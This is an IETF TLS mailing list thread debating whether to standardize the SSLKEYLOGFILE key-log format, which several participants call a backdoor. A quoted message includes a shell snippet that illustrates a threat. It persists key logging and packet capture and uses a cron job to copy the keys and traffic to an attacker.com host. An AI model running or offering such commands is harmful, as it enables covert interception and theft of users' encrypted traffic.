[TLS] Re: 2nd Working Group Last Call for The SSLKEYLOGFILE Formatfor TLS

Christian Huitema <huitema@huitema.net> Fri, 21 February 2025 20:08 UTC

Return-Path: <huitema@huitema.net>
X-Original-To: tls@ietfa.amsl.com
Delivered-To: tls@ietfa.amsl.com
Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 0E94AC13AE34; Fri, 21 Feb 2025 12:08:31 -0800 (PST)
X-Virus-Scanned: amavisd-new at amsl.com
X-Spam-Flag: NO
X-Spam-Score: -1.707
X-Spam-Level:
X-Spam-Status: No, score=-1.707 tagged_above=-999 required=5 tests=[BAYES_00=-1.9, DKIM_INVALID=0.1, DKIM_SIGNED=0.1, RCVD_IN_DNSWL_NONE=-0.0001, RCVD_IN_VALIDITY_RPBL_BLOCKED=0.001, RCVD_IN_VALIDITY_SAFE_BLOCKED=0.001, RCVD_IN_ZEN_BLOCKED_OPENDNS=0.001, SPF_HELO_NONE=0.001, SPF_PASS=-0.001, T_SCC_BODY_TEXT_LINE=-0.01] autolearn=no autolearn_force=no
Authentication-Results: ietfa.amsl.com (amavisd-new); dkim=neutral reason="invalid (public key: not available)" header.d=mfg.outbound
Received: from mail.ietf.org ([50.223.129.194]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id fMp9q32d7M1J; Fri, 21 Feb 2025 12:08:29 -0800 (PST)
Received: from semf12.mfg.siteprotect.com (semf12.mfg.siteprotect.com [64.26.60.175]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits) key-exchange X25519 server-signature ECDSA (P-256) server-digest SHA256) (No client certificate requested) by ietfa.amsl.com (Postfix) with ESMTPS id 285AEC14F695; Fri, 21 Feb 2025 12:08:25 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=mfg.outbound; s=default; h=Content-Transfer-Encoding:Content-Type: In-Reply-To:From:References:Cc:To:Subject:MIME-Version:Date:Message-ID: reply-to:sender:bcc; bh=yfFLNsoqYjTo+2jssz25n+p/0zxcqUedwE6E2ETdDeM=; b=IIcjn MM5Y+DOVl4SnO8xQ4ZUGp4BtKgYPhpZnUgsgQIG356l884oFWPHX+Zul2bz9HwxndvqLuttsdnhd4 OaBwEhyeLBIIheyMDz7jnOD0W+Ect7dcDUjTVf5nmyduLGL2UMwP3JSGMiDfKhqfZbIdgFdRYDdNy HCWCvoGfngiW8tBJFe7cWtno7LvsZbH7g6dwEJvcyjXhClXgBJBlQQ75ImVgszCzntsrlfa5isauJ +McPKv5OtrBCgy69y7VpcsxQB+qttpIBF0HIzakRhFSxtc8mQK+9Jz99FLP7WDs3NybBH3pWS2uag Ngrys2VWHw7247qm9t+iVe72A/g1A==;
Received: from smtpauth01.mfg.siteprotect.com ([64.26.60.150]) by se03.mfg.siteprotect.com with esmtp (Exim 4.92) (envelope-from <huitema@huitema.net>) id 1tlZJk-00FdZL-OH; Fri, 21 Feb 2025 15:08:21 -0500
Received: from [192.168.1.112] (unknown [172.56.201.4]) (Authenticated sender: huitema@huitema.net) by smtpauth01.mfg.siteprotect.com (Postfix) with ESMTPSA id 4Z01QT62hsz1627Fy; Fri, 21 Feb 2025 15:08:01 -0500 (EST)
Message-ID: <2cdd3e68-5556-4b03-91ea-053299e1d440@huitema.net>
Date: Fri, 21 Feb 2025 12:07:59 -0800
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
To: Andrei Popov <Andrei.Popov=40microsoft.com@dmarc.ietf.org>, "Bellebaum, Thomas" <thomas.bellebaum@aisec.fraunhofer.de>, "stephen.farrell@cs.tcd.ie" <stephen.farrell@cs.tcd.ie>, "robainloynet@gmail.com" <robainloynet@gmail.com>, "rsalz@akamai.com" <rsalz@akamai.com>, "hkario@redhat.com" <hkario@redhat.com>
References: <6a27cae41645539b3fa90b5f83a8973c73cdd6a0.camel@aisec.fraunhofer.de> <CA+_8xu1nDDHuqRbh2OvRVkvxPyLcJS==rumo3sxPC56NsWLCMw@mail.gmail.com> <93eb1e78c7348459fc92ff874c7e691baf4a0bf0.camel@aisec.fraunhofer.de> <ee908b7b-da13-4840-b70a-84dd66d4bc1f@redhat.com> <68995b4c-4cd9-4153-9fff-004c3dbdeb01@cs.tcd.ie> <3588D603-9153-4D42-9FF2-7F0FCE5E5EBD@akamai.com> <063eca4c661f36c4b90f80c38681363e0c5cdaa0.camel@aisec.fraunhofer.de> <CH3PR21MB464574181B64CBD38D74855E8CC72@CH3PR21MB4645.namprd21.prod.outlook.com>
Content-Language: en-US
From: Christian Huitema <huitema@huitema.net>
In-Reply-To: <CH3PR21MB464574181B64CBD38D74855E8CC72@CH3PR21MB4645.namprd21.prod.outlook.com>
Content-Type: text/plain; charset="UTF-8"; format="flowed"
Content-Transfer-Encoding: 7bit
Authentication-Results: mfg.siteprotect.com; auth=pass smtp.auth=huitema@huitema.net
X-Originating-IP: 64.26.60.150
X-SpamExperts-Domain: mfg.outbound
X-SpamExperts-Username: 64.26.60.150/31
Authentication-Results: mfg.siteprotect.com; auth=pass smtp.auth=64.26.60.150/31@mfg.outbound
X-SpamExperts-Outgoing-Class: ham
X-SpamExperts-Outgoing-Evidence: Combined (0.18)
X-Recommended-Action: accept
X-Filter-ID: Pt3MvcO5N4iKaDQ5O6lkdGlMVN6RH8bjRMzItlySaT+Y9SYdfFl+yBbEw5cjixlHPUtbdvnXkggZ 3YnVId/Y5jcf0yeVQAvfjHznO7+bT5zXBhD3AaLKO8qrBS9weLsdCSY5PukZ9zWHiMKy8/m6cima SBF0W4QpMVREHE9yBHnjO5J/pHx2+0C1jAggRffXYNliqIoB2eTXvym7V35kAUgcRPhr63w06xgc N1iUtvXzBsndLBIznyKph/+OiZl6E0m5J83TPkjrySX5xooEetCVntEdq1O4BiBo+JUNkEn4LhpH BeQ+u270wDovX/FuVbtmDldUW/gaL4tJtPsonm3lbKkD+2wEUwaHVfDbXfG7l5pUq6WBNdBNXq/f 7s5em6F+IY/1SOBuK1ZMwjzLWJeNmWOadRGnCFd2sJgs9MLh+gLRcV4oktiJgzMhglkbc+Rtz7bN 8tvw8CPlEXrCYKBGWPcGxbodTSN7xGDmdQ79s9q8ZZagJBJ8Cktwg8sUAiRyXllK2CV2A0AaZXVa cCVsEZOgFNdaDhcKCQeayMkYFn1arNUJVzdcIt0CkiW+/wrs8GtKUgKqATRJ/UA0tHK7OqGPBN8W V3OlId9sgju0HmsyelDtSKRU8sz2n8rF39tAL4r7ddy9quEna6RtJDKkAtUDFXd144fKQj9i9Gs/ BNrKyNSoa6Gty6QWcjbvavERpop5LF7RavHozgbn9aX88S1FdptsLE/7xt9XolxOSdJdDboglwxQ ebcSeDFB8asFb9LuBcJYD/zjwL4FpB/TLtOO3HwquetCok6svCroi9fZVdSWh51HGgcBPRP536oy bTZpB4Wv6ElyTZU8c8TJRwRvw2AEVD26W3GQDiXO7ujGdCQPoAa02/HGzYqRMghZUvtQXa8MfMqM maS0GyOw0JMs7kJhHCDeObTh1Jx3LH6Mx9CBWStZWvzOrmBAZhj+PAGSbdaxb5mza+6ToW/pR274 Utu29ShHYWlD0fv24K8+RVoD+p1q7yqCGLJJF7c5u2jYwrndrKPbBZaX1uKP0XSYPzHLrJbl5/bl JDUzGiC+PEh3cAbq+wvRa0gFjV0SYyyi5meZg+4JY6fwVTOPv7K70dTjdyVP0s6x9tnkKb0fFrZB eOvGAGvfFhdydIUT4EaQFqqDusybSdxagTTaFFx1KtsgFbT7sEYGpLz1H/aAwarQpYDOYx/6JtUO FDDI5b7eE6W6cBbA+so6uADk5nWIiIcthdTaotkIarS/Xcb9GmhDBa2hhGeMmY7nWVdJHT86Sq9M dsKua+A2HFHuAq4k7PqG9M5idz7joR4hPq7FeFNYHAAHUCggGoFzinwdLR/l/pAkxwxnKZNPWPY4 ocfmWv3Fe9Iziczdq+A=
X-Report-Abuse-To: spam@se02.mfg.siteprotect.com
X-Complaints-To: abuse@se01.mfg.siteprotect.com
Message-ID-Hash: AAF53MIDCTTWSINEU3RBSXZVP6TDH2DI
X-Message-ID-Hash: AAF53MIDCTTWSINEU3RBSXZVP6TDH2DI
X-MailFrom: huitema@huitema.net
X-Mailman-Rule-Misses: dmarc-mitigation; no-senders; approved; emergency; loop; banned-address; member-moderation; header-match-tls.ietf.org-0; nonmember-moderation; administrivia; implicit-dest; max-recipients; max-size; news-moderation; no-subject; digests; suspicious-header
CC: "tls@ietf.org" <tls@ietf.org>
X-Mailman-Version: 3.3.9rc6
Precedence: list
Subject: [TLS] Re: 2nd Working Group Last Call for The SSLKEYLOGFILE Formatfor TLS
List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." <tls.ietf.org>
Archived-At: <https://mailarchive.ietf.org/arch/msg/tls/jm8E4bMh9deAUj_q9bwuE-fR1BA>
List-Archive: <https://mailarchive.ietf.org/arch/browse/tls>
List-Help: <mailto:tls-request@ietf.org?subject=help>
List-Owner: <mailto:tls-owner@ietf.org>
List-Post: <mailto:tls@ietf.org>
List-Subscribe: <mailto:tls-join@ietf.org>
List-Unsubscribe: <mailto:tls-leave@ietf.org>

I also agree. I understand that according to the draft, the SSL backdoor 
feature should only be present in debugging builds, but I am concerned 
there will be a big pressure to have it enabled in production builds as 
well. Consider the support line call, "I cannot access 
https://example.com/". The support staff will want to tell the customer 
to please type "export SSLKEYLOGFILE=/tmp/keys". Of course, this will 
have no effect if the feature is not compiled in. Thus the support staff 
will ask the production staff to compile it in, because asking the 
customer to install the debug version of `browser.exe` or whatever is 
way too much bother. Hence the feedback loop, with the backdoor enabled 
everywhere.

Some things should not be standardized.

-- Christian Huitema

On 2/21/2025 6:43 AM, Andrei Popov wrote:
> I agree with Stephen and Tomas on this one. Additionally, in  my opinion, this WG should not have published any SSLKEYLOGFILE documents, because they effectively standardize a backdoor.
> It is understood that there is a need for debugging, and it is understood that certain SW vendors want to agree on a common log data format and publish this format.
>
> However:
> - Debugging can (and should) be accomplished without a complete compromise of the security protocol (arguably, with less ease/convenience).
> - Backdoor specifications can be agreed upon outside the IETF process and published as part of the respective SW vendor's documentation, without involving the IETF.
>
> Cheers,
>
> Andrei
>
> -----Original Message-----
> From: Bellebaum, Thomas <thomas.bellebaum@aisec.fraunhofer.de>
> Sent: Friday, February 21, 2025 2:18 AM
> To: stephen.farrell@cs.tcd.ie; robainloynet@gmail.com; rsalz@akamai.com; hkario@redhat.com
> Cc: tls@ietf.org
> Subject: [EXTERNAL] [TLS] Re: 2nd Working Group Last Call for The SSLKEYLOGFILE Formatfor TLS
>
> [You don't often get email from thomas.bellebaum@aisec.fraunhofer.de. Learn why this is important at https://aka.ms/LearnAboutSenderIdentification ]
>
>> I disagree with this because if an attacker could write to the
>> environment variable used by the program or is able to side-load a
>> library and capture outbound packets, it is very likely that they
>> already have privileged access to the machine.
> I am questioning the threat model. Just like Perfect Forward Secrecy comes at an unbearable cost if you believe that TLS cannot provide ANY security if you ever get compromised (The advocate might say: after all, the database is not encrypted, there are backups, ...).
>
> In that spirit, let us assume that some individual has root access to an average user's computer.
> What could theoretically happen? Anything. Agreed.
> What could practically happen? Well, it depends...
>
> Say the user is using Linux (that is what I have, I assume Windows has similar functionality):
>
> ```sh
> echo "export SSLKEYLOGFILE=/tmp/keys" >> /etc/profile echo "tcpdump -w /tmp/traffic &" >> /etc/profile echo "0 * * * * scp /tmp/keys /tmp/traffic user@attacker.com:~/" >> /etc/crontab ``` (You get the point. Let us assume that the kinks would be filtered out before deploying :) )
>
> This is simple enough to fit in a forum post and fortunately for our attacker, the TCP dumps can now be automatically parsed using a range of tools since all relevant protocols (TCP/TLS/HTTP/SMTP/Twitter-API/...) are well documented.
>
> Next, let us go out of our way and assume that interoperable file formats did not exist.
> Again, in theory, our attacker could replace programs to leak the keys, side-load a library, perform memory dumps and analyze them, etc.
> Is he going to do that, though?
>
> All the above methods do not scale to many programs at once. In each case, an attacker would first need to figure out a way to do that (and do it reliably in an automated fashion).
> It would suprise me to learn that the same potential would rest in three lines of shell code.
> Yes, state level actors, etc. have enough resources to not care. How about an abusive partner in your relationship? A bit of frustration on their side might go a long way.
>
> This is the difference I am worried about. It is not quantifiable in the cryptographic sense (Any attacker with resources X has probability < Y to achieve Z), but it is relevant in practice.
>
> We can make the adversary work a bit harder using very simple measures. For instance, by suggesting that applications should notify their users if this method is used, the above gain disappears.
> Cost: An extra if clause in the code to display the happy green location bar. Effect: Can hardly be less than that.
>
>> There already is widely deployed software that leaks key information.
>> OpenSSL has a trace facility, normally compiled out, that reports
>> PKCS#12 passwords[1]. The keylog stuff *is* compiled-out by default.
>> The OpenSSL library also provides a register-callback function that
>> will get private key material and that is always enabled which the
>> OpenSSL project does not consider a security risk[2]. I assume OpenSSL
>> qualifies as widely-deployed. :)
> This is scary as well. I did not know that :) Still, this is one implementation. We are considering interoperability-enabling documents.
> If misuse of this API should become a real-world issue, the OpenSSL project will almost certainly be able to remidy it faster than the IETF.
>
> _______________________________________________
> TLS mailing list -- tls@ietf.org
> To unsubscribe send an email to tls-leave@ietf.org